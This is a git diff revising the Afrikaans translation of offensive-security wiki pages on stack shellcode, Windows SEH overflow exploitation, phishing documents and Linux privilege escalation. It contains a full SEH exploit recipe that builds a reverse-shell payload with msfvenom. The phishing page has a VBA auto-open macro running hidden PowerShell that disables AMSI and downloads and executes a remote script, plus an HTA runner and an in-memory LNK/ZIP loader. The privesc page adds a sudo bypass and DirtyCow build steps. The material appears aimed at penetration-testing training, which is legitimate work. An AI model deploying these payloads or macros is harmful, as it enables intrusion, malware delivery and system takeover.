daarvan om die stack te hergebruik. -- Reken altyd op gadgets wat RSP aanpas (e.g., add rsp, 8; ret) deur junk qwords in te voeg. +- As die stack space beperk is, ken RWX elders toe (RCX=NULL) en jmp na daardie nuwe region in plaas van die stack te hergebruik. +- Rekening hou altyd met gadgets wat RSP aanpas (bv. add rsp, 8; ret) deur junk qwords in te voeg. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer word** sodat die adres oor uitvoerings heen betroubaar is; anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en jy sal 'n leak nodig hê om uit te vind waar die win function gelaai is. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP return address nooit gevolg word nie. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** beskerming sal die uitvoering van die shellcode binne die stack verhinder omdat daardie gebied nie uitvoerbaar sal wees nie. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **moet gedeaktiveer wees** sodat die adres oor uitvoerings heen betroubaar is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n leak nodig hê om uit te vind waar die win funksie gelaai is. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) moet ook gedeaktiveer wees, anders sal die gekompromitteerde EIP return address nooit gevolg word nie. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** beskerming sal die uitvoering van die shellcode binne die stack voorkom omdat daardie region nie uitvoerbaar sal wees nie. -## Ander Voorbeelde & Verwysings +## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR met stack address leak, skryf shellcode en spring daarheen +- 64bit, ASLR met stack address leak, skryf shellcode en jump daarnaartoe - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32-bit, ASLR met stack leak, skryf shellcode en spring daarheen +- 32 bit, ASLR met stack leak, skryf shellcode en jump daarnaartoe - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32-bit, ASLR met stack leak, vergelyking om oproep na exit() te voorkom, oorskryf 'n veranderlike met 'n waarde, skryf shellcode en spring daarheen +- 32 bit, ASLR met stack leak, vergelyking om oproep na exit() te voorkom, oorskryf 'n veranderlike met 'n waarde en skryf shellcode en jump daarnaartoe - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, geen ASLR, ROP gadget om die stack uitvoerbaar te maak en na shellcode in die stack te spring +- arm64, geen ASLR, ROP gadget om stack uitvoerbaar te maak en jump na shellcode in stack -## Verwysings +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 43c619cbe..d02a0c389 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -1,25 +1,25 @@ -# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) +# Windows SEH-gebaseerde Stack Overflow-uitbuiting (nSEH/SEH) {{#include ../../banners/hacktricks-training.md}} -SEH-based eksploitasie is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting op die stapel misbruik. Wanneer 'n stapel-bufferoorloop die twee 4-byte velde oorskryf +SEH-gebaseerde uitbuiting is 'n klassieke x86 Windows-tegniek wat die Structured Exception Handler-ketting benut wat op die stack gestoor is. Wanneer 'n stack buffer overflow die twee 4-byte velde oor-skryf -- nSEH: pointer to the next SEH record, and -- SEH: pointer to the exception handler function +- nSEH: aanwyser na die volgende SEH-rekord, en +- SEH: aanwyser na die exception handler-funksie -kan 'n aanvaller die uitvoering oorneem deur: +kan 'n aanvaller beheer van die uitvoering kry deur: -1) SEH op die adres van 'n POP POP RET gadget in 'n nie-beskermde module te stel, sodat wanneer 'n exception verwerk word die gadget terugkeer na bytes onder die aanvaller se beheer, en -2) nSEH te gebruik om die uitvoering te herlei (tipies 'n kort spring) terug na die groot oorstroomde buffer waar shellcode lê. +1) SEH op die adres van 'n POP POP RET-gadget in 'n nie-beskermde module te stel, sodat wanneer 'n uitzondering hanteer word die gadget terugkeer in deur die aanvaller beheerde bytes, en +2) nSEH te gebruik om die uitvoering te herlei (gewoonlik 'n kort sprong) terug na die groot oorvloeiende buffer waar die shellcode woon. -Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Slegte karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in weens C-strings en HTTP parsing. +Hierdie tegniek is spesifiek vir 32-bit prosesse (x86). Op moderne stelsels, verkies 'n module sonder SafeSEH en ASLR vir die gadget. Swak karakters sluit dikwels 0x00, 0x0a, 0x0d (NUL/CR/LF) in as gevolg van C-strings en HTTP-parsing. --- ## Vind presiese offsets (nSEH / SEH) -- Laat die proses crash en verifieer dat die SEH-ketting oor geskryf is (bv., in x32dbg/x64dbg, kyk die SEH view). -- Stuur 'n cyclic pattern as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland. +- Laat die proses crash en verifieer dat die SEH-ketting oorskryf is (bv. in x32dbg/x64dbg, kyk na die SEH-view). +- Stuur 'n cykliese patroon as die oorvloeiende data en bereken die offsets van die twee dwords wat in nSEH en SEH beland. Voorbeeld met peda/GEF/pwntools op 'n 1000-byte POST body: ```bash @@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Valideer deur merkers op daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou totale lengte konstant om die crash reproduseerbaar te maak. +Valideer deur merkers by daardie posisies te plaas (bv., nSEH=b"BB", SEH=b"CC"). Hou die totale lengte konstant om die crash reproduceerbaar te maak. --- ## Kies 'n POP POP RET (SEH gadget) -Jy benodig 'n POP POP RET-sekwensie om die SEH-raamwerk af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en by voorkeur sonder ASLR: +Jy benodig 'n POP POP RET-reeks om die SEH-raam af te rol en terug te keer na jou nSEH-bytes. Vind dit in 'n module sonder SafeSEH en, indien moontlik, sonder ASLR: -- Mona (Immunity/WinDbg): `!mona modules` dan `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` om POP POP RET gadgets en SafeSEH-status te lys. +- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. -Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., `p32(0x004094D8)`). Gee voorkeur aan gadgets binne die kwesbare binary as beskermings dit toelaat. +Kies 'n adres wat geen badchars bevat wanneer dit little-endian geskryf word nie (bv., `p32(0x004094D8)`). Voorkeur vir gadgets binne die kwesbare binary indien beskermings dit toelaat. --- -## Jump-back tegniek (short + near jmp) +## Jump-back-tegniek (short + near jmp) -nSEH is slegs 4 bytes, wat hoogstens 'n 2-byte short jump (`EB xx`) plus padding kan huisves. As jy honderde bytes terug moet spring om jou buffer-begin te bereik, gebruik 'n 5-byte near jump wat net voor nSEH geplaas is en koppel dit met 'n short jump vanaf nSEH. +nSEH is slegs 4 bytes, wat op die meeste plek 'n 2-byte short jump (`EB xx`) plus padding toelaat. As jy honderde bytes terug moet jump om by die begin van jou buffer uit te kom, gebruik 'n 5-byte near jump net voor nSEH en chain daarna in met 'n short jump vanaf nSEH. -Met nasmshell: +With nasmshell: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Uitleg-idee vir 'n 1000-byte payload met nSEH op offset 660: +Voorstel vir die lay-out van 'n 1000-byte payload met nSEH by offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,31 +71,31 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Execution flow: -- Exception gebeur, dispatcher gebruik die oor-geskryfde SEH. -- POP POP RET ontvou na ons nSEH. +Uitvoeringsvloei: +- Uitsondering vind plaas, die dispatcher gebruik die oor-geskryfde SEH. +- POP POP RET ontrol in ons nSEH. - nSEH voer `jmp short -8` uit na die 5-byte near jump. -- Die near jump land by die begin van ons buffer waar die NOP sled + shellcode lê. +- Die near jump land by die begin van ons buffer waar die NOP sled + shellcode aangetref word. --- ## Slegte karakters -Bou 'n volledige badchar string en vergelyk die stack memory na die crash, en verwyder bytes wat deur die teiken-parser gemanipuleer word. Vir HTTP-based overflows, `\x00\x0a\x0d` word byna altyd uitgesluit. +Bou 'n volledige badchar-string en vergelyk die stapelgeheue na die crash, verwyder bytes wat deur die teiken-parser vervorm word. Vir HTTP-based overflows, `\x00\x0a\x0d` word byna altyd uitgesluit. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- -## Shellcode generation (x86) +## Shellcode generering (x86) -Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landingsvariasie te verdra. +Gebruik msfvenom met jou badchars. 'n klein NOP sled help om landing-variansie te verdra. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om in Python te embed en te unhex: +As dit on-the-fly gegenereer word, is die hex-formaat gerieflik om te embed en in Python te unhex: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex @@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LP ## Aflewering oor HTTP (presiese CRLF + Content-Length) -Wanneer die kwesbare vektor 'n HTTP request body is, skep 'n raw request met presiese CRLFs en Content-Length sodat die server die hele oorvloeiende body lees. +Wanneer die kwesbare vektor 'n HTTP versoekliggaam is, stel 'n rou versoek saam met presiese CRLFs en Content-Length sodat die bediener die hele oorvloeiende liggaam kan lees. ```python # pip install pwntools from pwn import remote @@ -127,21 +127,21 @@ p.close() ## Gereedskap -- x32dbg/x64dbg om die SEH-ketting te bekyk en die crash te triageer. +- x32dbg/x64dbg om die SEH-ketting te observeer en die crash te triage. - ERC.Xdbg (x64dbg plugin) om SEH-gadgets te enumereer: `ERC --SEH`. - Mona as 'n alternatief: `!mona modules`, `!mona seh`. -- nasmshell om kort/na-bye spronge te assembleer en rou opkodes te kopieer. -- pwntools om presiese netwerk-payloads te skep. +- nasmshell om short/near jumps te assembleer en rou opkodes te kopieer. +- pwntools om presiese netwerk-payloads te vervaardig. --- -## Notas en voorbehoude +## Aantekeninge en kanttekeninge -- Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde uitbuiting is oor die algemeen nie haalbaar nie. -- Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; anders, vind 'n onbeveiligde module wat in die proses gelaai is. -- Diens-watchdogs wat outomaties na 'n crash herbegin, kan iteratiewe exploit-ontwikkeling vergemaklik. +- Slegs van toepassing op x86-prosesse. x64 gebruik 'n ander SEH-skema en SEH-gebaseerde exploitasie is oor die algemeen nie lewensvatbaar nie. +- Voorkeur vir gadgets in modules sonder SafeSEH en ASLR; andersins vind 'n onbeveiligde module wat in die proses gelaai is. +- Diens-watchdogs wat outomaties herbegin na 'n crash kan iteratiewe exploit-ontwikkeling vergemaklik. -## Verwysings +## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 38356d639..005e918a5 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,37 +4,37 @@ ## Office Dokumente -Microsoft Word voer lêerdata-validering uit voordat 'n lêer geopen word. Datavalidering word uitgevoer in die vorm van identifikasie van datastrukture, teen die OfficeOpenXML standard. As enige fout voorkom tydens die identifikasie van die datastruktuur, sal die lêer wat ontleed word nie geopen word nie. +Microsoft Word voer lêerdata-validering uit voordat 'n lêer oopgemaak word. Data-validering word uitgevoer in die vorm van identifisering van datastrukture, teen die OfficeOpenXML-standaard. As enige fout voorkom tydens die identifisering van die datastruktuur, sal die lêer wat ontleed word nie oopgemaak word nie. -Gewoonlik gebruik Word-lêers wat macros bevat die `.docm` uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds hul macros-uitvoerende vermoëns te behou.\ -Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, volgens ontwerp, maar 'n DOCM-lêer hernoem na RTF sal deur Microsoft Word hanteer word en sal in staat wees tot macro-uitvoering.\ +Gewoonlik gebruik Word-lêers wat macros bevat die `.docm`-uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds die vermoë om macros uit te voer te behou.\ +Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, volgens ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en sal in staat wees om macros uit te voer.\ Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint etc.). -Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word: +Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sekere Office-programme uitgevoer gaan word: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX-lêers wat na 'n afgeleë sjabloon verwys (File –Options –Add-ins –Manage: Templates –Go) wat makro's insluit, kan ook makro's “uitvoer”. +DOCX-lêers wat na 'n afgeleë sjabloon verwys (File –Options –Add-ins –Manage: Templates –Go) wat macros bevat, kan ook macros “execute”. -### Eksterne beeldlaai +### Eksterne Beeldlading Gaan na: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, en **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) -### Makro-agterdeur +### Macros Backdoor -Dit is moontlik om makro's te gebruik om willekeurige kode vanaf die dokument uit te voer. +Dit is moontlik om macros te gebruik om arbitrêre code vanaf die dokument uit te voer. -#### Autoload funksies +#### Autoload-funksies -Hoe algemener hulle is, hoe meer waarskynlik sal AV hulle opspoor. +Hoe algemener dit is, hoe meer waarskynlik is dit dat AV dit sal opspoor. - AutoOpen() - Document_Open() -#### Makro-kode voorbeelde +#### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -68,22 +68,22 @@ proc.Create "powershell Gaan na **File > Info > Inspect Document > Inspect Document**, wat die Document Inspector oopmaak. Klik **Inspect** en dan **Remove All** langs **Document Properties and Personal Information**. -#### Doc-uitbreiding +#### Doc Extension -Wanneer klaar, kies die **Save as type** keuselys en verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\ -Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor** nie en daar is 'n **stigma** **omtrent** die makro-aktiewe **`.docm`** uitbreiding (bv. die miniatuurikoon het 'n groot `!` en sommige web-/e-pos-gateways blokkeer dit heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromis**. +Wanneer klaar, kies die **Save as type** dropdown, verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\ +Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor nie** en daar 'n **stigma** bestaan rondom die makro-geaktiveerde **`.docm`** uitbreiding (bv. die miniatuur-ikoon het 'n groot `!` en sommige web-/e-pos-hekke blokkeer hulle heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromis**. -#### Kwaadaardige makro-generatoren +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA-lêers +## HTA Files -'n HTA is 'n Windows-program wat **HTML en skripttale (soos VBScript en JScript) kombineer**. Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n "fully trusted" toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel. +An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. -'n HTA word uitgevoer met **`mshta.exe`**, wat tipies **geïnstalleer** is saam met **Internet Explorer**, wat **`mshta` afhanklik van IE** maak. As dit dus verwyder is, sal HTA's nie in staat wees om uitgevoer te word nie. +An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. ```html <--! Basic HTA Execution --> @@ -138,9 +138,9 @@ var_func self.close ``` -## Afdwing van NTLM-verifikasie +## Afdwing van NTLM Authentication -Daar is verskeie maniere om **afdwing van NTLM-verifikasie "op afstand"**, byvoorbeeld, jy kan **onsigbare beelde** by e-posse of HTML voeg wat die gebruiker sal oopmaak (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **verifikasie** sal **aktiveer** net deur die **vouer te open.** +Daar is verskeie maniere om **NTLM authentication "op afstand" af te dwing**, byvoorbeeld jy kan **onsigbare beelde** by e-posse of HTML voeg wat die gebruiker sal toegang (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **authentication** sal **trigger** net deur **die gids te open.** **Kyk na hierdie idees en meer op die volgende bladsye:** @@ -156,24 +156,24 @@ Daar is verskeie maniere om **afdwing van NTLM-verifikasie "op afstand"**, byvoo ### NTLM Relay -Moenie vergeet dat jy nie net die hash of die verifikasie kan steel nie, maar ook **perform NTLM relay attacks**: +Moet nie vergeet dat jy nie net die hash of die authentication kan steel nie, maar ook **perform NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Baie doeltreffende veldtogte lewer 'n ZIP wat twee legitieme lokdokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ruwe bytes van die ZIP na 'n unieke merker gestoor is, en die .lnk dit uitkerf en volledig in geheue uitvoer. +Baie doeltreffende veldtogte lewer 'n ZIP wat twee legitieme skyn-dokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader in die rou bytes van die ZIP gestoor word na 'n unieke merk, en die .lnk kerf dit uit en hardloop dit heeltemal in geheue. Tipiese vloei geïmplementeer deur die .lnk PowerShell one-liner: -1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige working directory. -2) Lees die ZIP-bytes en vind 'n hardgekodeerde merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell-payload. -3) Kopieer die ZIP na %ProgramData%, pak daar uit, en open die lok .docx om geldig te voorkom. +1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouergids van die huidige werkgids. +2) Lees die ZIP-bytes en vind 'n hardgekodeerde merk (bv. xFIQCV). Alles ná die merk is die ingeslote PowerShell payload. +3) Kopieer die ZIP na %ProgramData%, pak dit daar uit, en open die skyn-.docx om legitimiteit te skep. 4) Omseil AMSI vir die huidige proses: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuskering van die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit. +5) Deobfuscate die volgende stage (bv. verwyder alle # karakters) en voer dit in geheue uit. -Voorbeeld PowerShell-skelet om die ingeslote fase uit te kerf en uit te voer: +Example PowerShell skeleton to carve and run the embedded stage: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Aantekeninge -- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads gate (serve benign ZIPs gebaseer op IP/UA). -- Die volgende fase ontsleutel dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyf-artefakte te minimaliseer. +- Aflewering misbruik dikwels betroubare PaaS-subdomeine (e.g., *.herokuapp.com) en kan payloads beperk (bedien onskadelike ZIP-lêers gebaseer op IP/UA). +- Die volgende fase ontsleutel dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyfartefakte te minimaliseer. -Persistence wat in dieselfde ketting gebruik word -- COM TypeLib hijacking van die Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herlaai. Sien besonderhede en gereed-vir-gebruik opdragte hier: +Persistensie wat in dieselfde ketting gebruik word +- COM TypeLib hijacking of the Microsoft Web Browser control sodat IE/Explorer of enige app wat dit embed die payload outomaties herbegin. Sien besonderhede en gereed-vir-gebruik opdragte hier: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} -Hunting/IOCs -- ZIP-lêers wat die ASCII merkerstring (bv. xFIQCV) bevat wat aan die argiefdata aangeheg is. -- .lnk wat ouer- en gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak. +Opsporing/IOCs +- ZIP-lêers wat die ASCII-merkerstring (e.g., xFIQCV) bevat wat aan die argiefdata aangeheg is. +- .lnk wat ouer- en gebruiker-lêergidse deurloop om die ZIP te vind en 'n lokdokument oop te maak. - AMSI-manipulasie via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Langlopende besigheidsdrade wat eindig met skakels gehost onder vertroude PaaS-domeine. +- Langdurige sake-drade wat eindig met skakels gehost op vertroude PaaS-domeine. ## Verwysings diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 61ece0a27..aa2775134 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,50 +2,50 @@ {{#include ../../banners/hacktricks-training.md}} -## Stelselinligting +## Stelsel Inligting ### OS-inligting -Kom ons begin om inligting oor die lopende OS in te win +Kom ons begin om inligting oor die OS wat aan die gang is te versamel ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Pad +### Path -As jy **skryfregte op enige gids binne die `PATH`-veranderlike het** kan jy dalk sekere libraries of binaries hijack: +As jy **skryfregte op enige gids binne die `PATH`** veranderlike het, kan jy dalk sekere libraries of binaries hijack: ```bash echo $PATH ``` -### Omgewingsinligting +### Env info -Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes? +Is daar interessante inligting, wagwoorde of API keys in die environment variables? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kontroleer die kernel-weergawe en of daar 'n exploit is wat gebruik kan word om privileges te escalate. +Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word to escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Jy kan 'n goeie vulnerable kernel list en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die vulnerable kernel versions vanaf daardie webwerf te onttrek, kan jy dit doen: +Om al die kwesbare kernel-weergawes van daardie web te onttrek, kan jy: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Tools wat kan help om na kernel exploits te soek, is: +Gereedskap wat kan help om vir kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer uit IN victim, slegs kontroleer exploits vir kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer IN victim uit, kontroleer slegs exploits vir kernel 2.x) -Soek altyd **die kernel-weergawe op Google**, dalk is jou kernel-weergawe in 'n kernel exploit geskryf en dan sal jy seker wees dat daardie exploit geldig is. +Soek altyd **die kernel-weergawe op Google**, moontlik is jou kernel-weergawe in 'n kernel exploit vermeld en sal jy dan seker wees dat hierdie exploit geldig is. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo weergawe +### Sudo-weergawe Gebaseer op die kwesbare sudo-weergawes wat verskyn in: ```bash @@ -73,13 +73,13 @@ Van @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg-handtekeningverifikasie het gefaal +### Dmesg: handtekeningverifikasie het misluk -Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln misbruik kan word +Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie vuln uitgebuit kon word ```bash dmesg 2>/dev/null | grep "signature" ``` -### Meer system enumeration +### Meer stelselondersoek ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -As jy binne 'n docker container is, kan jy probeer daaruit te ontsnap: - +As jy binne 'n docker container is, kan jy probeer daaruit ontsnap: {{#ref}} docker-security/ 